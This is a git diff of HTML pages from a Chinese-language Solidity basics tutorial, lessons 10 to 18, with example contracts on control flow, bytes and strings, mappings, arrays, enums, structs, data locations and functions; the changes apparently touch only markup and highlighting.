    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/10_ifElse.html" "b/cn/01_solidity\345\237\272\347\241\200/10_ifElse.html" index 337f2713..075bdcba 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/10_ifElse.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/10_ifElse.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,28 +3019,28 @@

    第10节:if / else

    职场进阶: https://dukeweb3.com

    支持常规的if , else if, else

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract IfElse {
    -    function foo(uint x) public pure returns (uint) {
    -        if (x < 10) {
    -            return 0;
    -        } else if (x < 20) {
    -            return 1;
    -        } else {
    -            return 2;
    +    function foo(uint x) public pure returns (uint) {
    +        if (x < 10) {
    +            return 0;
    +        } else if (x < 20) {
    +            return 1;
    +        } else {
    +            return 2;
             }
         }
     
    -    function ternary(uint _x) public pure returns (uint) {
    -        // if (_x < 10) {
    -        //     return 1;
    -        // }
    -        // return 2;
    +    function ternary(uint _x) public pure returns (uint) {
    +        // if (_x < 10) {
    +        //     return 1;
    +        // }
    +        // return 2;
     
    -        // shorthand way to write if / else statement
    -        return _x < 10 ? 1 : 2;
    +        // shorthand way to write if / else statement
    +        return _x < 10 ? 1 : 2;
         }
     }
     
    @@ -3075,7 +3071,7 @@

    第10节:if / else

    @@ -3161,14 +3157,6 @@

    第10节:if / else

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/11_forWhileLoop.html" "b/cn/01_solidity\345\237\272\347\241\200/11_forWhileLoop.html" index 295f3616..31d13e93 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/11_forWhileLoop.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/11_forWhileLoop.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,26 +3022,26 @@

    第11节:for and while

  • solidity支持for, while, do while循环;
  • 尽量不要使用没有边界的循环,因为会导致达到gas limit,进而导致交易执行失败,因此很少使用while和do while
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Loop {
    -    function loop() public {
    -        // for loop
    -        for (uint i = 0; i < 10; i++) {
    -            if (i == 3) {
    -                // Skip to next iteration with continue
    -                continue;
    +    function loop() public {
    +        // for loop
    +        for (uint i = 0; i < 10; i++) {
    +            if (i == 3) {
    +                // Skip to next iteration with continue
    +                continue;
                 }
    -            if (i == 5) {
    -                // Exit loop with break
    -                break;
    +            if (i == 5) {
    +                // Exit loop with break
    +                break;
                 }
             }
     
    -        // while loop
    +        // while loop
             uint j;
    -        while (j < 10) {
    +        while (j < 10) {
                 j++;
             }
         }
    @@ -3078,7 +3074,7 @@ 

    第11节:for and while

    @@ -3164,14 +3160,6 @@

    第11节:for and while

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/12_bytes\345\222\214string.html" "b/cn/01_solidity\345\237\272\347\241\200/12_bytes\345\222\214string.html" index c11caf9d..92519f47 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/12_bytes\345\222\214string.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/12_bytes\345\222\214string.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,25 +3026,25 @@

    第12节:bytes和string

  • 支持push方法添加
  • 可以与string相互转换
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract  Bytes {
         bytes public name;
     
    -    //1. 获取字节长度
    -    function getLen() public view returns(uint256) {
    -        return name.length;
    +    //1. 获取字节长度
    +    function getLen() public view returns(uint256) {
    +        return name.length;
         }
     
    -    //2. 可以不分空间,直接进行字符串赋值,会自动分配空间
    -    function setValue(bytes memory input) public {
    +    //2. 可以不分空间,直接进行字符串赋值,会自动分配空间
    +    function setValue(bytes memory input) public {
             name = input;
         }
     
    -    //3. 支持push操作,在bytes最后面追加元素
    -    function pushData() public {
    -        name.push("h");
    +    //3. 支持push操作,在bytes最后面追加元素
    +    function pushData() public {
    +        name.push("h");
         }
     }
     
    @@ -3058,18 +3054,18 @@

    第12节:bytes和string

  • string 不支持下标索引不支持length、push方法
  • string 可以修改(需通过bytes转换)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -contract  String {
    -    string public name = "lily";   
    +contract  String {
    +    string public name = "lily";   
     
    -    function setName() public {
    -        bytes(name)[0] = "L";   
    +    function setName() public {
    +        bytes(name)[0] = "L";   
         }
     
    -    function getLength() public view returns(uint256) {
    -        return bytes(name).length;
    +    function getLength() public view returns(uint256) {
    +        return bytes(name).length;
         }
     }
     
    @@ -3100,7 +3096,7 @@

    第12节:bytes和string

    @@ -3186,14 +3182,6 @@

    第12节:bytes和string

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/13_\346\230\240\345\260\204Mapping.html" "b/cn/01_solidity\345\237\272\347\241\200/13_\346\230\240\345\260\204Mapping.html" index a7410640..3c0f93e7 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/13_\346\230\240\345\260\204Mapping.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/13_\346\230\240\345\260\204Mapping.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,50 +3024,50 @@

    第13节:Mapping

  • mapping不支持迭代器
  • 不需要实例化等,定义后直接可以使用
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Mapping {
    -    // Mapping from address to uint
    -    mapping(address => uint) public myMap;
    +    // Mapping from address to uint
    +    mapping(address => uint) public myMap;
     
    -    function get(address _addr) public view returns (uint) {
    -        // Mapping always returns a value.
    -        // If the value was never set, it will return the default value.
    -        return myMap[_addr];
    +    function get(address _addr) public view returns (uint) {
    +        // Mapping always returns a value.
    +        // If the value was never set, it will return the default value.
    +        return myMap[_addr];
         }
     
    -    function set(address _addr, uint _i) public {
    -        // Update the value at this address
    +    function set(address _addr, uint _i) public {
    +        // Update the value at this address
             myMap[_addr] = _i;
         }
     
    -    function remove(address _addr) public {
    -        // Reset the value to the default value.
    -        delete myMap[_addr];
    +    function remove(address _addr) public {
    +        // Reset the value to the default value.
    +        delete myMap[_addr];
         }
     }
     
     contract NestedMapping {
    -    // Nested mapping (mapping from address to another mapping)
    -    mapping(address => mapping(uint => bool)) public nested;
    +    // Nested mapping (mapping from address to another mapping)
    +    mapping(address => mapping(uint => bool)) public nested;
     
    -    function get(address _addr1, uint _i) public view returns (bool) {
    -        // You can get values from a nested mapping
    -        // even when it is not initialized
    -        return nested[_addr1][_i];
    +    function get(address _addr1, uint _i) public view returns (bool) {
    +        // You can get values from a nested mapping
    +        // even when it is not initialized
    +        return nested[_addr1][_i];
         }
     
    -    function set(
    +    function set(
             address _addr1,
             uint _i,
             bool _boo
    -    ) public {
    +    ) public {
             nested[_addr1][_i] = _boo;
         }
     
    -    function remove(address _addr1, uint _i) public {
    -        delete nested[_addr1][_i];
    +    function remove(address _addr1, uint _i) public {
    +        delete nested[_addr1][_i];
         }
     }
     
    @@ -3102,7 +3098,7 @@

    第13节:Mapping

    @@ -3188,14 +3184,6 @@

    第13节:Mapping

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/14_\346\225\260\347\273\204Array.html" "b/cn/01_solidity\345\237\272\347\241\200/14_\346\225\260\347\273\204Array.html" index 5280a220..2b8dc059 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/14_\346\225\260\347\273\204Array.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/14_\346\225\260\347\273\204Array.html" @@ -36,10 +36,6 @@ - - - - @@ -3029,127 +3025,127 @@

    第14节:数组

  • new uint256[] (len) 语法用于对memory进行修饰,storage不需要使用new
  • 仅状态变量数组和storage支持动态扩容:push
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -contract Array {
    -    // Several ways to initialize an array
    +contract Array {
    +    // Several ways to initialize an array
         uint[] public arr;
    -    uint[] public arr2 = [1, 2, 3];
    -    // Fixed sized array, all elements initialize to 0
    -    uint[10] public myFixedSizeArr;
    +    uint[] public arr2 = [1, 2, 3];
    +    // Fixed sized array, all elements initialize to 0
    +    uint[10] public myFixedSizeArr;
     
    -    function get(uint i) public view returns (uint) {
    -        return arr[i];
    +    function get(uint i) public view returns (uint) {
    +        return arr[i];
         }
     
    -    // Solidity can return the entire array.
    -    // But this function should be avoided for
    -    // arrays that can grow indefinitely in length.
    -    function getArr() public view returns (uint[] memory) {
    -        return arr;
    +    // Solidity can return the entire array.
    +    // But this function should be avoided for
    +    // arrays that can grow indefinitely in length.
    +    function getArr() public view returns (uint[] memory) {
    +        return arr;
         }
     
    -    function push(uint i) public {
    -        // Append to array
    -        // This will increase the array length by 1.
    +    function push(uint i) public {
    +        // Append to array
    +        // This will increase the array length by 1.
             arr.push(i);
         }
     
    -    function pop() public {
    -        // Remove last element from array
    -        // This will decrease the array length by 1
    +    function pop() public {
    +        // Remove last element from array
    +        // This will decrease the array length by 1
             arr.pop();
         }
     
    -    function getLength() public view returns (uint) {
    -        return arr.length;
    +    function getLength() public view returns (uint) {
    +        return arr.length;
         }
     
    -    function remove(uint index) public {
    -        // Delete does not change the array length.
    -        // It resets the value at index to it's default value,
    -        // in this case 0
    -        delete arr[index];
    +    function remove(uint index) public {
    +        // Delete does not change the array length.
    +        // It resets the value at index to it's default value,
    +        // in this case 0
    +        delete arr[index];
         }
     
    -    function examples() pure external returns(uint[] memory) {
    -        // create array in memory, only fixed size can be created
    -        uint[] memory a = new uint[](5);
    -        return a;
    +    function examples() pure external returns(uint[] memory) {
    +        // create array in memory, only fixed size can be created
    +        uint[] memory a = new uint[](5);
    +        return a;
         }
     }
     

    demo1:删除某个位置的元素,剩余元素向左移动(保留顺序)

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract ArrayRemoveByShifting {
    -    // [1, 2, 3] -- remove(1) --> [1, 3, 3] --> [1, 3]
    -    // [1, 2, 3, 4, 5, 6] -- remove(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6]
    -    // [1, 2, 3, 4, 5, 6] -- remove(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6]
    -    // [1] -- remove(0) --> [1] --> []
    +    // [1, 2, 3] -- remove(1) --> [1, 3, 3] --> [1, 3]
    +    // [1, 2, 3, 4, 5, 6] -- remove(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6]
    +    // [1, 2, 3, 4, 5, 6] -- remove(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6]
    +    // [1] -- remove(0) --> [1] --> []
     
         uint[] public arr;
     
    -    function remove(uint _index) public {
    -        require(_index < arr.length, "index out of bound");
    +    function remove(uint _index) public {
    +        require(_index < arr.length, "index out of bound");
     
    -        for (uint i = _index; i < arr.length - 1; i++) {
    -            arr[i] = arr[i + 1];
    +        for (uint i = _index; i < arr.length - 1; i++) {
    +            arr[i] = arr[i + 1];
             }
             arr.pop();
         }
     
    -    function test() external {
    -        arr = [1, 2, 3, 4, 5];
    -        remove(2);
    -        // [1, 2, 4, 5]
    -        assert(arr[0] == 1);
    -        assert(arr[1] == 2);
    -        assert(arr[2] == 4);
    -        assert(arr[3] == 5);
    -        assert(arr.length == 4);
    -
    -        arr = [1];
    -        remove(0);
    -        // []
    -        assert(arr.length == 0);
    +    function test() external {
    +        arr = [1, 2, 3, 4, 5];
    +        remove(2);
    +        // [1, 2, 4, 5]
    +        assert(arr[0] == 1);
    +        assert(arr[1] == 2);
    +        assert(arr[2] == 4);
    +        assert(arr[3] == 5);
    +        assert(arr.length == 4);
    +
    +        arr = [1];
    +        remove(0);
    +        // []
    +        assert(arr.length == 0);
         }
     }
     

    demo2:删除某位置元素,使用最后一个元素填充(不考虑顺序)

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract ArrayReplaceFromEnd {
         uint[] public arr;
     
    -    // Deleting an element creates a gap in the array.
    -    // One trick to keep the array compact is to
    -    // move the last element into the place to delete.
    -    function remove(uint index) public {
    -        // Move the last element into the place to delete
    -        arr[index] = arr[arr.length - 1];
    -        // Remove the last element
    +    // Deleting an element creates a gap in the array.
    +    // One trick to keep the array compact is to
    +    // move the last element into the place to delete.
    +    function remove(uint index) public {
    +        // Move the last element into the place to delete
    +        arr[index] = arr[arr.length - 1];
    +        // Remove the last element
             arr.pop();
         }
     
    -    function test() public {
    -        arr = [1, 2, 3, 4];
    -
    -        remove(1);
    -        // [1, 4, 3]
    -        assert(arr.length == 3);
    -        assert(arr[0] == 1);
    -        assert(arr[1] == 4);
    -        assert(arr[2] == 3);
    -
    -        remove(2);
    -        // [1, 4]
    -        assert(arr.length == 2);
    -        assert(arr[0] == 1);
    -        assert(arr[1] == 4);
    +    function test() public {
    +        arr = [1, 2, 3, 4];
    +
    +        remove(1);
    +        // [1, 4, 3]
    +        assert(arr.length == 3);
    +        assert(arr[0] == 1);
    +        assert(arr[1] == 4);
    +        assert(arr[2] == 3);
    +
    +        remove(2);
    +        // [1, 4]
    +        assert(arr.length == 2);
    +        assert(arr[0] == 1);
    +        assert(arr[1] == 4);
         }
     }
     
    @@ -3180,7 +3176,7 @@

    第14节:数组

    @@ -3266,14 +3262,6 @@

    第14节:数组

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/15_\346\236\232\344\270\276Enum.html" "b/cn/01_solidity\345\237\272\347\241\200/15_\346\236\232\344\270\276Enum.html" index 8e993878..c62b151e 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/15_\346\236\232\344\270\276Enum.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/15_\346\236\232\344\270\276Enum.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,11 +3019,11 @@

    第15节:枚举Enum

    职场进阶: https://dukeweb3.com

    枚举可以避免魔数,让程序更加易读,更好的进行状态管理,默认第一个值是:0

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Enum {
    -    // Enum representing shipping status
    +    // Enum representing shipping status
         enum Status {
             Pending,
             Shipped,
    @@ -3036,33 +3032,33 @@ 

    第15节:枚举Enum

    Canceled } - // Default value is the first element listed in - // definition of the type, in this case "Pending" + // Default value is the first element listed in + // definition of the type, in this case "Pending" Status public status; - // Returns uint - // Pending - 0 - // Shipped - 1 - // Accepted - 2 - // Rejected - 3 - // Canceled - 4 - function get() public view returns (Status) { - return status; + // Returns uint + // Pending - 0 + // Shipped - 1 + // Accepted - 2 + // Rejected - 3 + // Canceled - 4 + function get() public view returns (Status) { + return status; } - // Update status by passing uint into input - function set(Status _status) public { + // Update status by passing uint into input + function set(Status _status) public { status = _status; } - // You can update to a specific enum like this - function cancel() public { + // You can update to a specific enum like this + function cancel() public { status = Status.Canceled; } - // delete resets the enum to its first value, 0 - function reset() public { - delete status; + // delete resets the enum to its first value, 0 + function reset() public { + delete status; } }
    @@ -3093,7 +3089,7 @@

    第15节:枚举Enum

    @@ -3179,14 +3175,6 @@

    第15节:枚举Enum

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/16_\347\273\223\346\236\204\344\275\223Struct.html" "b/cn/01_solidity\345\237\272\347\241\200/16_\347\273\223\346\236\204\344\275\223Struct.html" index 809508b6..4b7b20ae 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/16_\347\273\223\346\236\204\344\275\223Struct.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/16_\347\273\223\346\236\204\344\275\223Struct.html" @@ -36,10 +36,6 @@ - - - - @@ -3024,8 +3020,8 @@

    第16节:结构体Struct

    自定义结构类型,将不同的数据类型组合到一个结构中,目前支持参数传递结构体。

    枚举和结构体都可以定义在另外一个文件中,进行import后使用

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Todos {
         struct Todo {
    @@ -3033,48 +3029,48 @@ 

    第16节:结构体Struct

    bool completed; } - // An array of 'Todo' structs + // An array of 'Todo' structs Todo[] public todos; - function create(string memory _text) public { - // 3 ways to initialize a struct - // - calling it like a function - todos.push(Todo(_text, false)); + function create(string memory _text) public { + // 3 ways to initialize a struct + // - calling it like a function + todos.push(Todo(_text, false)); - // key value mapping - todos.push(Todo({text: _text, completed: false})); + // key value mapping + todos.push(Todo({text: _text, completed: false})); - // initialize an empty struct and then update it + // initialize an empty struct and then update it Todo memory todo; todo.text = _text; - // todo.completed initialized to false + // todo.completed initialized to false todos.push(todo); } - // Solidity automatically created a getter for 'todos' so - // you don't actually need this function. - function get(uint _index) public view returns (string memory text, bool completed) { + // Solidity automatically created a getter for 'todos' so + // you don't actually need this function. + function get(uint _index) public view returns (string memory text, bool completed) { Todo storage todo = todos[_index]; - return (todo.text, todo.completed); + return (todo.text, todo.completed); } - // update text - function update(uint _index, string memory _text) public { + // update text + function update(uint _index, string memory _text) public { Todo storage todo = todos[_index]; todo.text = _text; } - // update completed - function toggleCompleted(uint _index) public { + // update completed + function toggleCompleted(uint _index) public { Todo storage todo = todos[_index]; todo.completed = !todo.completed; } }

    在外面定义结构体:StructDeclaration.sol(说明并不是所有数据都必须写在合约之内的)

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     struct Todo {
         string text;
    @@ -3082,13 +3078,13 @@ 

    第16节:结构体Struct

    }

    在主合约中引用:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -import "./StructDeclaration.sol";
    +import "./StructDeclaration.sol";
     
     contract Todos {
    -    // An array of 'Todo' structs
    +    // An array of 'Todo' structs
         Todo[] public todos;
     }
     
    @@ -3100,8 +3096,8 @@

    第16节:结构体Struct

  • 示例:

    函数原型:

    -
    function createOffer(Token[] memory _tokens, GeneralInfo memory _general)
    -
    +
    function createOffer(Token[] memory _tokens, GeneralInfo memory _general)
    +

    结构定义:

    enum TokenType {
         ERC20,
    @@ -3118,19 +3114,19 @@ 

    第16节:结构体Struct

    } struct GeneralInfo { - address loanToken; //token to borrow - uint256 ltv; //8000 means 80% - bool featuredFlag; //true, false - uint256 loanAmount; //amounts to borrow - uint256 interestRate; //1100 means 11% - uint256 collateralThreshold; //8000 means 80% - uint256 repaymentDate; //timestamp + 30days - uint256 offerAvailable; //timestamp + 7days + address loanToken; //token to borrow + uint256 ltv; //8000 means 80% + bool featuredFlag; //true, false + uint256 loanAmount; //amounts to borrow + uint256 interestRate; //1100 means 11% + uint256 collateralThreshold; //8000 means 80% + uint256 repaymentDate; //timestamp + 30days + uint256 offerAvailable; //timestamp + 7days }

    正确传递参数方式如下:

    -
    tokens:     [[0, '0x749B1c911170A5aFEb68d4B278cD5405C718fc7F',1000,0,0]],
    -general: ["0x749B1c911170A5aFEb68d4B278cD5405C718fc7F", 8000, false, 1000, 1100, 8000, 10000, 10000]
    +
    tokens:     [[0, '0x749B1c911170A5aFEb68d4B278cD5405C718fc7F',1000,0,0]],
    +general: ["0x749B1c911170A5aFEb68d4B278cD5405C718fc7F", 8000, false, 1000, 1100, 8000, 10000, 10000]
     
  • @@ -3161,7 +3157,7 @@

    第16节:结构体Struct

    @@ -3247,14 +3243,6 @@

    第16节:结构体Struct

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/17_memory_storage_calldata.html" "b/cn/01_solidity\345\237\272\347\241\200/17_memory_storage_calldata.html" index 2949f728..7ca6e007 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/17_memory_storage_calldata.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/17_memory_storage_calldata.html" @@ -36,10 +36,6 @@ - - - - @@ -3034,69 +3030,69 @@

    第17节:存储
  • 其他:Solidity 变量中 memory 、calldata 2 个表示作用非常类似,都是函数内部临时变量,它们最大的区别就是 calldata 是不可修改的,在某些只读的情况比较省 Gas.
  • 局部变量(此处指引用类型)默认是Storage类型的,只能将使用storage类型赋值,不能使用memory类型来赋值。
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract DataLocations {
    -    uint[] public arr = [1, 2, 3];
    -    mapping(uint => address) public map;
    +    uint[] public arr = [1, 2, 3];
    +    mapping(uint => address) public map;
         struct MyStruct {
             uint foo;
         }
    -    mapping(uint => MyStruct) public myStructs;
    +    mapping(uint => MyStruct) public myStructs;
     
    -    function test() public {
    -        // get a struct from a mapping
    -        MyStruct storage myStruct = myStructs[1];
    +    function test() public {
    +        // get a struct from a mapping
    +        MyStruct storage myStruct = myStructs[1];
     
    -        // create a struct in memory
    -        MyStruct memory myMemStruct = MyStruct(0);
    +        // create a struct in memory
    +        MyStruct memory myMemStruct = MyStruct(0);
     
    -        // call _f with state variables
    +        // call _f with state variables
             _f(arr, map, myStruct);
     
    -        //invalid convertion, failed to call
    -        // _f(arr, map, myMemStruct); 
    +        //invalid convertion, failed to call
    +        // _f(arr, map, myMemStruct); 
     
             _g(arr);
    -        this._h(arr);
    +        this._h(arr);
         }
     
    -    function _f(
    +    function _f(
             uint[] storage _arr,
             mapping(uint => address) storage _map,
             MyStruct storage _myStruct
    -    ) internal {
    -        // do something with storage variables
    -        _arr.push(100);
    -        _map[20] = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
    -        _myStruct.foo = 20;
    +    ) internal {
    +        // do something with storage variables
    +        _arr.push(100);
    +        _map[20] = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
    +        _myStruct.foo = 20;
         }
     
    -    // You can return memory variables
    -    function _g(uint[] memory _arr) public returns (uint[] memory) {
    -        // do something with memory array
    -        _arr[0] = 100;
    +    // You can return memory variables
    +    function _g(uint[] memory _arr) public returns (uint[] memory) {
    +        // do something with memory array
    +        _arr[0] = 100;
         }
     
    -    function _h(uint[] calldata _arr) external {
    -        // do something with calldata array
    -        // calldata is read-only
    -        // _arr[2] = 200;
    +    function _h(uint[] calldata _arr) external {
    +        // do something with calldata array
    +        // calldata is read-only
    +        // _arr[2] = 200;
         }
     }
     

    memory和storage进阶

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity =0.8.10;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity =0.8.10;
     
    -import "hardhat/console.sol";
    +import "hardhat/console.sol";
     
     contract Test{
     
    -    constructor() {
    -        personArrayGlobal.push(Person("Lily", 20, true));
    -        personArrayGlobal.push(Person("James", 30, false));
    +    constructor() {
    +        personArrayGlobal.push(Person("Lily", 20, true));
    +        personArrayGlobal.push(Person("James", 30, false));
         }
     
         struct Person {
    @@ -3107,65 +3103,65 @@ 

    memory和storage进阶

    Person[] public personArrayGlobal; - // remix: [["Lily", 20, true]] - function changeTestMemory(Person[] memory _psersonArray) public { - Person memory pTmp = _psersonArray[0]; + // remix: [["Lily", 20, true]] + function changeTestMemory(Person[] memory _psersonArray) public { + Person memory pTmp = _psersonArray[0]; - // error, 不能基于memory对象创建storage对象 - // Person storage pTmp = _psersonArray[0]; + // error, 不能基于memory对象创建storage对象 + // Person storage pTmp = _psersonArray[0]; _innerChangeMemory(pTmp); - console.log(pTmp.name); // David memory - console.log(_psersonArray[0].name); // David memory,居然改变了!虽然在memory中,但是实际上也是传递的指针 + console.log(pTmp.name); // David memory + console.log(_psersonArray[0].name); // David memory,居然改变了!虽然在memory中,但是实际上也是传递的指针 - uint256 tmpInt = 200; + uint256 tmpInt = 200; _innerChangeInt(tmpInt); - console.log(tmpInt); // 200,指类型的变量,总是直接复制一份 + console.log(tmpInt); // 200,指类型的变量,总是直接复制一份 } - function _innerChangeInt(uint _newValue) internal pure { - _newValue = 100; + function _innerChangeInt(uint _newValue) internal pure { + _newValue = 100; } - function _innerChangeMemory(Person memory _p) internal pure { - _p.name = "David memory"; - _p.age = 30; - _p.married = false; + function _innerChangeMemory(Person memory _p) internal pure { + _p.name = "David memory"; + _p.age = 30; + _p.married = false; } - function _innerChangeStorage(Person storage _p) internal { - _p.name = "David Storage"; - _p.age = 30; - _p.married = false; + function _innerChangeStorage(Person storage _p) internal { + _p.name = "David Storage"; + _p.age = 30; + _p.married = false; } - // run before changeTestGlobalWithStorage - function changeTestGlobalWithMemory() public { - Person memory pTmp = personArrayGlobal[0]; + // run before changeTestGlobalWithStorage + function changeTestGlobalWithMemory() public { + Person memory pTmp = personArrayGlobal[0]; _innerChangeMemory(pTmp); - // error,memory 不能赋值给storage - // _innerChangeStorage(pTmp); + // error,memory 不能赋值给storage + // _innerChangeStorage(pTmp); - console.log(pTmp.name); // David memory,memory中的变量改变了 - console.log(personArrayGlobal[0].name); // Lily,原storage中数据未改变 + console.log(pTmp.name); // David memory,memory中的变量改变了 + console.log(personArrayGlobal[0].name); // Lily,原storage中数据未改变 } - // run after changeTestGlobalWithMemory - function changeTestGlobalWithStorage() public { - Person storage pTmp = personArrayGlobal[0]; + // run after changeTestGlobalWithMemory + function changeTestGlobalWithStorage() public { + Person storage pTmp = personArrayGlobal[0]; - // storage 赋值给memory,完全拷贝 + // storage 赋值给memory,完全拷贝 _innerChangeMemory(pTmp); - console.log(pTmp.name); // Lily - console.log(personArrayGlobal[0].name); // Lily + console.log(pTmp.name); // Lily + console.log(personArrayGlobal[0].name); // Lily - // storage 赋值给storage,指针传递 + // storage 赋值给storage,指针传递 _innerChangeStorage(pTmp); - console.log(pTmp.name); // David - console.log(personArrayGlobal[0].name); // David + console.log(pTmp.name); // David + console.log(personArrayGlobal[0].name); // David } } @@ -3197,7 +3193,7 @@

    memory和storage进阶

    @@ -3283,14 +3279,6 @@

    memory和storage进阶

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/18_\345\207\275\346\225\260Function.html" "b/cn/01_solidity\345\237\272\347\241\200/18_\345\207\275\346\225\260Function.html" index 139e8ead..e46572db 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/18_\345\207\275\346\225\260Function.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/18_\345\207\275\346\225\260Function.html" @@ -36,10 +36,6 @@ - - - - @@ -3028,83 +3024,83 @@

    第18节:函数Function

  • 可以解构返回值,对忽略的返回值直接使用逗号留空
  • map无法作为参数或返回值
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    -
    -contract Function {
    -    // Functions can return multiple values.
    -    function returnMany()
    -        public
    -        pure
    -        returns (
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
    +
    +contract Function {
    +    // Functions can return multiple values.
    +    function returnMany()
    +        public
    +        pure
    +        returns (
                 uint,
                 bool,
                 uint
    -        )
    -    {
    -        return (1, true, 2);
    +        )
    +    {
    +        return (1, true, 2);
         }
     
    -    // Return values can be named.
    -    function named()
    -        public
    -        pure
    -        returns (
    +    // Return values can be named.
    +    function named()
    +        public
    +        pure
    +        returns (
                 uint x,
                 bool b,
                 uint y
    -        )
    -    {
    -        return (1, true, 2);
    +        )
    +    {
    +        return (1, true, 2);
         }
     
    -    // Return values can be assigned to their name.
    -    // In this case the return statement can be omitted.
    -    function assigned()
    -        public
    -        pure
    -        returns (
    +    // Return values can be assigned to their name.
    +    // In this case the return statement can be omitted.
    +    function assigned()
    +        public
    +        pure
    +        returns (
                 uint x,
                 bool b,
                 uint y
    -        )
    -    {
    -        x = 1;
    -        b = true;
    -        y = 2;
    +        )
    +    {
    +        x = 1;
    +        b = true;
    +        y = 2;
         }
     
    -    // Use destructuring assignment when calling another
    -    // function that returns multiple values.
    -    function destructuringAssignments()
    -        public
    -        pure
    -        returns (
    +    // Use destructuring assignment when calling another
    +    // function that returns multiple values.
    +    function destructuringAssignments()
    +        public
    +        pure
    +        returns (
                 uint,
                 bool,
                 uint,
                 uint,
                 uint
    -        )
    -    {
    +        )
    +    {
             (uint i, bool b, uint j) = returnMany();
     
    -        // Values can be left out.
    -        (uint x, , uint y) = (4, 5, 6);
    +        // Values can be left out.
    +        (uint x, , uint y) = (4, 5, 6);
     
    -        return (i, b, j, x, y);
    +        return (i, b, j, x, y);
         }
     
    -    // Cannot use map for either input or output
    +    // Cannot use map for either input or output
     
    -    // Can use array for input
    -    function arrayInput(uint[] memory _arr) public {}
    +    // Can use array for input
    +    function arrayInput(uint[] memory _arr) public {}
     
    -    // Can use array for output
    +    // Can use array for output
         uint[] public arr;
     
    -    function arrayOutput() public view returns (uint[] memory) {
    -        return arr;
    +    function arrayOutput() public view returns (uint[] memory) {
    +        return arr;
         }
     }
     
    @@ -3135,7 +3131,7 @@

    第18节:函数Function

    @@ -3221,14 +3217,6 @@

    第18节:函数Function

